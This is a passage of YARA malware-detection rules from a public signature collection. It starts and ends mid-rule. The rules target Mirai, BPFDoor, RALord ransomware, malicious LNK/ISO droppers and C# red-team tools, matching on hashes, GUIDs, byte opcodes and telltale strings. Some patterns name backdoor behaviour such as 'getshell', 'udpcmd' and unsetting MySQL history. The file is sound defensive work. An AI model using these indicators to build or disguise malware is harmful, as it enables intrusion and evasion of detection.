		hash = "97b95b4a5461f950e712b82783930cb2a152ec0288c00a977983ca7788342df7"
		logic_hash = "58d978bd09a656f2a10a4d5d2585e51efe5cfb6b6648a4b3c2ce8c4f5d2256d4"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
	strings:
		$path = "%s.TxR.0.regtrans-ms"
	condition:
		uint16( 0 ) == 0x5A4D and $path and filesize < 10MB
}

rule SIGNATURE_BASE_MAL_CRIME_Suspicious_Hex_String_Jun21_1 : CRIME PE FILE
{
	meta:
		description = "Triggers on parts of a big hex string available in lots of crime'ish PE files."
		author = "Nils Kuhnert"
		id = "2ad208fa-c7a5-5df9-96fe-4a84dc770f0f"
		date = "2021-06-04"
		modified = "2023-12-05"
		reference = "https://github.com/Neo23x0/signature-base"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_crime_unknown.yar#L1-L16"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "73144b14f3aa1a1d82df7710fa47049426bfbddeef75e85c8a0a559ad6ed05a3"
		score = 65
		quality = 85
		tags = "CRIME, PE, FILE"
		hash1 = "37d60eb2daea90a9ba275e16115848c95e6ad87d20e4a94ab21bd5c5875a0a34"
		hash2 = "3380c8c56d1216fe112cbc8f1d329b59e2cd2944575fe403df5e5108ca21fc69"
		hash3 = "cd283d89b1b5e9d2875987025009b5cf6b137e3441d06712f49e22e963e39888"
		hash4 = "404efa6fb5a24cd8f1e88e71a1d89da0aca395f82d8251e7fe7df625cd8e80aa"
		hash5 = "479bf3fb8cff50a5de3d3742ab4b485b563b8faf171583b1015f80522ff4853e"
	strings:
		$a1 = "07032114130C0812141104170C0412147F6A6A0C041F321104130C0412141104030C0412141104130C0412141104130C0412141104130C0412141104130C0412141104130C0412141104130C0412141122130C0412146423272A711221112B1C042734170408622513143D20262B0F323038692B312003271C170B3A2F286623340610241F001729210579223202642200087C071C17742417020620141462060F12141104130C0412141214001C0412011100160C0C002D2412130C0412141104130C04121A11041324001F140122130C0134171" ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 10MB and all of them
}

rule SIGNATURE_BASE_MAL_CRIME_Unknown_LNK_Jun21_1 : LNK POWERSHELL FILE
{
	meta:
		description = "Triggers on malicious link files which calls powershell with an obfuscated payload and downloads an HTA file."
		author = "Nils Kuhnert"
		id = "d1aac420-fd91-5577-8efd-fcdd7f733981"
		date = "2021-06-04"
		modified = "2023-12-05"
		reference = "https://github.com/Neo23x0/signature-base"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_crime_unknown.yar#L18-L33"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "460e764cbd9fbfa1a2156059d0042a0bea5a939d501050a733a789d236015d37"
		score = 75
		quality = 85
		tags = "LNK, POWERSHELL, FILE"
		hash1 = "8fc7f25da954adcb8f91d5b0e1967e4a90ca132b280aa6ae73e150b55d301942"
		hash2 = "f5da192f4e4dfb6b728aee1821d10bec6d68fb21266ce32b688e8cae7898a522"
		hash3 = "183a9b3c04d16a1822c788d7a6e78943790ee2cdeea12a38e540281091316e45"
		hash4 = "a38c6aa3e1c429a27226519b38f39f03b0b1b9d75fd43cd7e067c5e542967afe"
		hash5 = "455f7b6b975fb8f7afc6295ec40dae5696f5063d1651f3b2477f10976a3b67b2"
	strings:
		$uid = "S-1-5-21-1437133880-1006698037-385855442-1004" wide
	condition:
		uint16( 0 ) == 0x004c and all of them
}

rule SIGNATURE_BASE_MAL_CRIME_Unknown_ISO_Jun21_1 : ISO POWERSHELL LNK FILE
{
	meta:
		description = "Triggers on ISO files that mimick NOBELIUM TTPs, but uses LNK files that call powershell instead."
		author = "Nils Kuhnert"
		id = "73a1fc44-45c4-5253-b81d-fa6686dc0644"
		date = "2021-06-04"
		modified = "2023-12-05"
		reference = "https://github.com/Neo23x0/signature-base"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_crime_unknown.yar#L35-L50"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "49b61f498d3f4ee249d9687277e581a39e08ebb4e1a293170058fb5f770bde1f"
		score = 75
		quality = 85
		tags = "ISO, POWERSHELL, LNK, FILE"
		hash1 = "425dbed047dd2ce760d0848ebf7ad04b1ca360f111d557fc7bf657ae89f86d36"
		hash2 = "f6944b6bca627e219d9c5065f214f95eb2226897a3b823b645d0fd78c281b149"
		hash3 = "14d70a8bdd64e9a936c2dc9caa6d4506794505e0e3870e3a25d9d59bcafb046e"
		hash4 = "9b2ca8eb6db34b07647a74171a5ff4c0a2ca8000da9876ed2db6361958c5c080"
	strings:
		$uid = "S-1-5-21-1437133880-1006698037-385855442-1004" wide
		$magic = "CD001" ascii
	condition:
		filesize < 5MB and all of them
}

rule SIGNATURE_BASE_MAL_Mirai_Nov19_1 : FILE
{
	meta:
		description = "Detects Mirai malware"
		author = "Florian Roth (Nextron Systems)"
		id = "40edcb29-9e10-5b87-ba79-8e3f629829e5"
		date = "2019-11-13"
		modified = "2023-12-05"
		reference = "https://twitter.com/bad_packets/status/1194049104533282816"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_mirai.yar#L140-L157"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e1202a9cd445c590c359a9c93e635292f8cf7f09291f4d8504ad9ce6679f6a47"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "bbb83da15d4dabd395996ed120435e276a6ddfbadafb9a7f096597c869c6c739"
		hash2 = "fadbbe439f80cc33da0222f01973f27cce9f5ab0709f1bfbf1a954ceac5a579b"
	strings:
		$s1 = "SERVZUXO" fullword ascii
		$s2 = "-loldongs" fullword ascii
		$s3 = "/dev/null" fullword ascii
		$s4 = "/bin/busybox" fullword ascii
		$sc1 = { 47 72 6F 75 70 73 3A 09 30 }
	condition:
		uint16( 0 ) == 0x457f and filesize <= 100KB and 4 of them
}

rule SIGNATURE_BASE_MAL_ARM_LNX_Mirai_Mar13_2022 : FILE
{
	meta:
		description = "Detects new ARM Mirai variant"
		author = "Mehmet Ali Kerimoglu a.k.a. CYB3RMX"
		id = "54d8860e-fc45-5571-b68c-66590c67a705"
		date = "2022-03-16"
		modified = "2023-12-05"
		reference = "https://github.com/Neo23x0/signature-base"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_mirai.yar#L159-L181"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a44a6174a198a658c8a5e2da50192da20bae7f8ed4e4f212c9eebb29fa4b0dd0"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "0283b72913b8a78b2a594b2d40ebc3c873e4823299833a1ff6854421378f5a68"
	strings:
		$str1 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm"
		$str2 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm"
		$str3 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm"
		$str4 = "/home/landley/aboriginal/aboriginal/build/simple-cross-compiler-armv6l/bin/../cc/include"
		$attck1 = "attack.c"
		$attck2 = "attacks.c"
		$attck3 = "anti_gdb_entry"
		$attck4 = "resolve_cnc_addr"
		$attck5 = "attack_gre_eth"
		$attck6 = "attack_udp_generic"
		$attck7 = "attack_get_opt_ip"
		$attck8 = "attack_icmpecho"
	condition:
		uint16( 0 ) == 0x457f and ( 3 of ( $str* ) or 4 of ( $attck* ) )
}

rule SIGNATURE_BASE_MAL_LNX_Redmenshen_Bpfdoor_May23_1 : FILE
{
	meta:
		description = "Detects BPFDoor malware"
		author = "Florian Roth"
		id = "25df4dba-ec6e-5999-b6be-56fe933cb0d0"
		date = "2023-05-11"
		modified = "2023-12-05"
		reference = "https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_lnx_implant_may22.yar#L3-L42"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c58971a43443800256e791b4f9fe7c3221518b0050e5f2964b6c843ddb4549ac"
		score = 80
		quality = 85
		tags = "FILE"
		hash1 = "afa8a32ec29a31f152ba20a30eb483520fe50f2dce6c9aa9135d88f7c9c511d7"
	strings:
		$x1 = "[-] Execute command failed" ascii fullword
		$x2 = "/var/run/initd.lock" ascii fullword
		$xc1 = { 2F 00 3E 3E 00 65 78 69 74 00 72 00 }
		$sc1 = { 9F CD 30 44 }
		$sc2 = { 66 27 14 5E }
		$sa1 = "TLS-CHACHA20-POLY1305-SHA256" ascii fullword
		$sop1 = { 48 83 c0 01 4c 39 f8 75 ea 4c 89 7c 24 68 48 69 c3 d0 00 00 00 48 8b 5c 24 50 48 8b 54 24 78 48 c7 44 24 38 00 00 00 00 }
		$sop2 = { 48 89 de f3 a5 89 03 8b 44 24 2c 39 44 24 28 44 89 4b 04 48 89 53 10 0f 95 c0 }
		$sop3 = { 49 d3 cd 4d 31 cd b1 29 49 89 e9 49 d3 c8 4d 31 c5 4c 03 68 10 48 89 f9 }
	condition:
		uint16( 0 ) == 0x457f and filesize < 900KB and ( ( 1 of ( $x* ) and 1 of ( $s* ) ) or 4 of them or ( all of ( $sc* ) and $sc1 in ( @sc2 [ 1 ] -50 .. @sc2 [ 1 ] + 50 ) ) ) or ( 2 of ( $x* ) or 5 of them )
}

rule SIGNATURE_BASE_APT_MAL_LNX_Redmenshen_Bpfdoor_Controller_May22_1 : FILE
{
	meta:
		description = "Detects unknown Linux implants (uploads from KR and MO)"
		author = "Florian Roth (Nextron Systems)"
		id = "1438c3bf-3c42-59d5-9f3f-2d72bdaaac42"
		date = "2022-05-05"
		modified = "2023-12-05"
		reference = "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_lnx_implant_may22.yar#L45-L76"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8de10beea4ef2e059b16d38fb015d6f091cc517b6f0c06b6ef6868518349994d"
		score = 90
		quality = 85
		tags = "FILE"
		hash1 = "07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d"
		hash2 = "4c5cf8f977fc7c368a8e095700a44be36c8332462c0b1e41bff03238b2bf2a2d"
		hash3 = "599ae527f10ddb4625687748b7d3734ee51673b664f2e5d0346e64f85e185683"
		hash4 = "5b2a079690efb5f4e0944353dd883303ffd6bab4aad1f0c88b49a76ddcb28ee9"
		hash5 = "5faab159397964e630c4156f8852bcc6ee46df1cdd8be2a8d3f3d8e5980f3bb3"
		hash6 = "93f4262fce8c6b4f8e239c35a0679fbbbb722141b95a5f2af53a2bcafe4edd1c"
		hash7 = "97a546c7d08ad34dfab74c9c8a96986c54768c592a8dae521ddcf612a84fb8cc"
		hash8 = "c796fc66b655f6107eacbe78a37f0e8a2926f01fecebd9e68a66f0e261f91276"
		hash9 = "f8a5e735d6e79eb587954a371515a82a15883cf2eda9d7ddb8938b86e714ea27"
		hash10 = "fd1b20ee5bd429046d3c04e9c675c41e9095bea70e0329bd32d7edd17ebaf68a"
	strings:
		$s1 = "[-] Connect failed." ascii fullword
		$s2 = "export MYSQL_HISTFILE=" ascii fullword
		$s3 = "udpcmd" ascii fullword
		$s4 = "getshell" ascii fullword
		$op1 = { e8 ?? ff ff ff 80 45 ee 01 0f b6 45 ee 3b 45 d4 7c 04 c6 45 ee 00 80 45 ff 01 80 7d ff 00 }
		$op2 = { 55 48 89 e5 48 83 ec 30 89 7d ec 48 89 75 e0 89 55 dc 83 7d dc 00 75 0? }
		$op3 = { e8 a? fe ff ff 0f b6 45 f6 48 03 45 e8 0f b6 10 0f b6 45 f7 48 03 45 e8 0f b6 00 8d 04 02 }
		$op4 = { c6 80 01 01 00 00 00 48 8b 45 c8 0f b6 90 01 01 00 00 48 8b 45 c8 88 90 00 01 00 00 c6 45 ef 00 0f b6 45 ef 88 45 ee }
	condition:
		uint16( 0 ) == 0x457f and filesize < 80KB and 2 of them or 5 of them
}

rule SIGNATURE_BASE_APT_MAL_LNX_Redmenshen_Bpfdoor_Controller_May22_2 : FILE
{
	meta:
		description = "Detects BPFDoor implants used by Chinese actor Red Menshen"
		author = "Florian Roth (Nextron Systems)"
		id = "d5c3d530-ed6f-563e-a3b0-55d4c82e4899"
		date = "2022-05-07"
		modified = "2023-12-05"
		reference = "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_lnx_implant_may22.yar#L78-L100"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7525c675dbba6eb480f1d28fc6db05bd9907725c291e64ee6dc2453fd42892a0"
		score = 85
		quality = 85
		tags = "FILE"
		hash1 = "76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925"
		hash2 = "96e906128095dead57fdc9ce8688bb889166b67c9a1b8fdb93d7cff7f3836bb9"
		hash3 = "c80bd1c4a796b4d3944a097e96f384c85687daeedcdcf05cc885c8c9b279b09c"
		hash4 = "f47de978da1dbfc5e0f195745e3368d3ceef034e964817c66ba01396a1953d72"
	strings:
		$opx1 = { 48 83 c0 0c 48 8b 95 e8 fe ff ff 48 83 c2 0c 8b 0a 8b 55 f0 01 ca 89 10 c9 }
		$opx2 = { 48 01 45 e0 83 45 f4 01 8b 45 f4 3b 45 dc 7c cd c7 45 f4 00 00 00 00 eb 2? 48 8b 05 ?? ?? 20 00 }
		$op1 = { 48 8d 14 c5 00 00 00 00 48 8b 45 d0 48 01 d0 48 8b 00 48 89 c7 e8 ?? ?? ff ff 48 83 c0 01 48 01 45 e0 }
		$op2 = { 89 c2 8b 85 fc fe ff ff 01 c2 8b 45 f4 01 d0 2d 7b cf 10 2b 89 45 f4 c1 4d f4 10 }
		$op3 = { e8 ?? d? ff ff 8b 45 f0 eb 12 8b 85 3c ff ff ff 89 c7 e8 ?? d? ff ff b8 ff ff ff ff c9 }
	condition:
		uint16( 0 ) == 0x457f and filesize < 100KB and 2 of ( $opx* ) or 4 of them
}

rule SIGNATURE_BASE_APT_MAL_LNX_Redmenshen_Bpfdoor_Controller_May22_3 : FILE
{
	meta:
		description = "Detects BPFDoor implants used by Chinese actor Red Menshen"
		author = "Florian Roth (Nextron Systems)"
		id = "91c2153a-a6e0-529e-852c-61f799838798"
		date = "2022-05-08"
		modified = "2023-12-05"
		reference = "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_lnx_implant_may22.yar#L102-L119"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "afec0bfeddf5c5c2abc1a3173f636c385437e5d7c0b68665f6274011113a6a9c"
		score = 85
		quality = 85
		tags = "FILE"
		hash1 = "144526d30ae747982079d5d340d1ff116a7963aba2e3ed589e7ebc297ba0c1b3"
		hash2 = "fa0defdabd9fd43fe2ef1ec33574ea1af1290bd3d763fdb2bed443f2bd996d73"
	strings:
		$s1 = "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event" ascii fullword
		$s2 = "/sbin/mingetty /dev" ascii fullword
		$s3 = "pickup -l -t fifo -u" ascii fullword
	condition:
		uint16( 0 ) == 0x457f and filesize < 200KB and 2 of them or all of them
}

rule SIGNATURE_BASE_APT_MAL_LNX_Redmenshen_Bpfdoor_Controller_Generic_May22_1 : FILE
{
	meta:
		description = "Detects BPFDoor malware"
		author = "Florian Roth (Nextron Systems)"
		id = "d30df2ae-7008-53c0-9a61-8346a9c9f465"
		date = "2022-05-09"
		modified = "2023-12-05"
		reference = "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_lnx_implant_may22.yar#L121-L156"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "57ae5f7dc1d202fe66d6626ef2bf2278b92bec0310449ce049bdaeaec5657c77"
		score = 90
		quality = 85
		tags = "FILE"
		hash1 = "07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d"
		hash2 = "1925e3cd8a1b0bba0d297830636cdb9ebf002698c8fa71e0063581204f4e8345"
		hash3 = "4c5cf8f977fc7c368a8e095700a44be36c8332462c0b1e41bff03238b2bf2a2d"
		hash4 = "591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78"
		hash5 = "599ae527f10ddb4625687748b7d3734ee51673b664f2e5d0346e64f85e185683"
		hash6 = "5b2a079690efb5f4e0944353dd883303ffd6bab4aad1f0c88b49a76ddcb28ee9"
		hash7 = "5faab159397964e630c4156f8852bcc6ee46df1cdd8be2a8d3f3d8e5980f3bb3"
		hash8 = "76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925"
		hash9 = "93f4262fce8c6b4f8e239c35a0679fbbbb722141b95a5f2af53a2bcafe4edd1c"
		hash10 = "96e906128095dead57fdc9ce8688bb889166b67c9a1b8fdb93d7cff7f3836bb9"
		hash11 = "97a546c7d08ad34dfab74c9c8a96986c54768c592a8dae521ddcf612a84fb8cc"
		hash12 = "c796fc66b655f6107eacbe78a37f0e8a2926f01fecebd9e68a66f0e261f91276"
		hash13 = "c80bd1c4a796b4d3944a097e96f384c85687daeedcdcf05cc885c8c9b279b09c"
		hash14 = "f47de978da1dbfc5e0f195745e3368d3ceef034e964817c66ba01396a1953d72"
		hash15 = "f8a5e735d6e79eb587954a371515a82a15883cf2eda9d7ddb8938b86e714ea27"
		hash16 = "fa0defdabd9fd43fe2ef1ec33574ea1af1290bd3d763fdb2bed443f2bd996d73"
		hash17 = "fd1b20ee5bd429046d3c04e9c675c41e9095bea70e0329bd32d7edd17ebaf68a"
	strings:
		$op1 = { c6 80 01 01 00 00 00 48 8b 45 ?8 0f b6 90 01 01 00 00 48 8b 45 ?8 88 90 00 01 00 00 c6 45 ?? 00 0f b6 45 ?? 88 45 }
		$op2 = { 48 89 55 c8 48 8b 45 c8 48 89 45 ?? 48 8b 45 c8 0f b6 80 00 01 00 00 88 45 f? 48 8b 45 c8 0f b6 80 01 01 00 00 }
		$op3 = { 48 89 45 ?? 48 8b 45 c8 0f b6 80 00 01 00 00 88 45 f? 48 8b 45 c8 0f b6 80 01 01 00 00 88 45 f? c7 45 f8 00 00 00 00 }
		$op4 = { 48 89 7d d8 89 75 d4 48 89 55 c8 48 8b 45 c8 48 89 45 ?? 48 8b 45 c8 0f b6 80 00 01 00 00 88 45 f? }
		$op5 = { 48 8b 45 ?8 c6 80 01 01 00 00 00 48 8b 45 ?8 0f b6 90 01 01 00 00 48 8b 45 ?8 88 90 00 01 00 00 c6 45 ?? 00 0f b6 45 }
		$op6 = { 89 75 d4 48 89 55 c8 48 8b 45 c8 48 89 45 ?? 48 8b 45 c8 0f b6 80 00 01 00 00 88 45 f? 48 8b 45 c8 }
	condition:
		uint16( 0 ) == 0x457f and filesize < 200KB and 2 of them or 4 of them
}

rule SIGNATURE_BASE_MAL_WIN_Ralordv1_Apr25 : FILE
{
	meta:
		description = "This ISH Tecnologia Yara rule, detects the main components of the first version of RALord Ransomware"
		author = "0x0d4y-Icaro Cesar"
		id = "67254633-3597-4770-9806-8b2e26c8f66a"
		date = "2025-04-01"
		modified = "2025-04-18"
		reference = "https://ish.com.br/wp-content/uploads/2025/04/RALord-Novo-grupo-de-Ransomware-as-a-Service-1.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_ralordv1_win_ap25.yar#L1-L29"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "be15f62d14d1cbe2aecce8396f4c6289"
		logic_hash = "75d20cca5eb48109bbb3b0ab0ce2efb4f2d89bc1984df8c4fddf1f859d069750"
		score = 80
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		rule_matching_tlp = "TLP:WHITE"
		rule_sharing_tlp = "TLP:WHITE"
		malpedia_family = "win.ralord"
	strings:
		$code_pattern_quarterround = { 4? 31 ?? 48 8b ?? ?? ?? 4? 31 ?? 48 8b ?? ?? ?? 31 e8 4? 31 ?? 41 c1 ?? 0c c1 ?? 0c c1 ?? 0c 48 89 c2 c1 ?? 0c }
		$code_pattern_custom_alg = { 0f 57 ?? 0f 10 ?? c5 ?? ?? ?? ?? 0f 57 ?? 0f 10 ?? c5 ?? ?? ?? ?? 0f 57 ?? 0f 10 ?? c5 ?? ?? ?? ?? 0f 57 ?? 0f 11 ?? c5 ?? ?? ?? ?? 0f 11 ?? c5 ?? ?? ?? ?? 0f 11 ?? c5 ?? ?? ?? ?? 0f 11 ?? c5 ?? ?? ?? ?? 48 83 c0 08 48 3d 8? }
		$ralord_str_I = "chacha" ascii
		$ralord_str_II = "scorp" ascii
		$ralord_str_III = "RALord" ascii
		$ralord_str_IV = "onion" ascii
		$ralord_str_V = "/rust" ascii
		$ralord_str_VI = "BCryptGenRandom" ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of ( $code_pattern_* ) and 4 of ( $ralord_str_* )
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Csharpsetthreadcontext : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "883bb859-d5ab-501d-8c83-0c5a2cf1f6c8"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/djhohnstein/CSharpSetThreadContext"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L6-L20"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1fab70ce4bb1a00d8e8155ce7d859aa2f8d193dd40378a8fff0fdfb1c94f9a76"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "a1e28c8c-b3bd-44de-85b9-8aa7c18a714d" ascii wide
		$typelibguid1lo = "87c5970e-0c77-4182-afe2-3fe96f785ebb" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_DLL_Injection : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "aec4fc28-9aa2-5eef-9fb1-d187a83a72b3"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/ihack4falafel/DLL-Injection"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L22-L35"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a9ad0c7a68602214cf31d9b065b9b2c5f7eb616bcec0f3428e958c0f762282b2"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "3d7e1433-f81a-428a-934f-7cc7fcf1149d" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Limeusb_Csharp : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "dfa96b36-e84c-510b-b16b-bd686777b83d"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/NYAN-x-CAT/LimeUSB-Csharp"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L37-L50"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "cd5b12c43046e56ebef78104fd7a9389476686bd4adca4964fc8b559432ae236"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "94ea43ab-7878-4048-a64e-2b21b3b4366d" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Ladon : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "57e3d2fa-d430-561b-9d42-cf58cda5ed7a"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/k8gege/Ladon"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L52-L65"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1a2c6d3bb2964847aaff4828bbd7b75301e287bcff3f27324bc7767c0f73820f"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "c335405f-5df2-4c7d-9b53-d65adfbed412" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Whitelistevasion : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "cd2740d0-0315-5a32-b34a-1998024fcc06"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/khr0x40sh/WhiteListEvasion"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L67-L80"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "38838b45c3c7359e49f890f5f7608e5a6026421e83b0ef7371c8558c571395a6"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "858386df-4656-4a1e-94b7-47f6aa555658" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Lime_Downloader : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "bfb0f97c-6d95-5e11-ad11-5297bcf7c3df"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/NYAN-x-CAT/Lime-Downloader"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L82-L95"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8086f6be648bcb5535b98aafc5fd898dc975273eec3c19a54263f74bb7c0f629"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "ec7afd4c-fbc4-47c1-99aa-6ebb05094173" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Darkeye : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
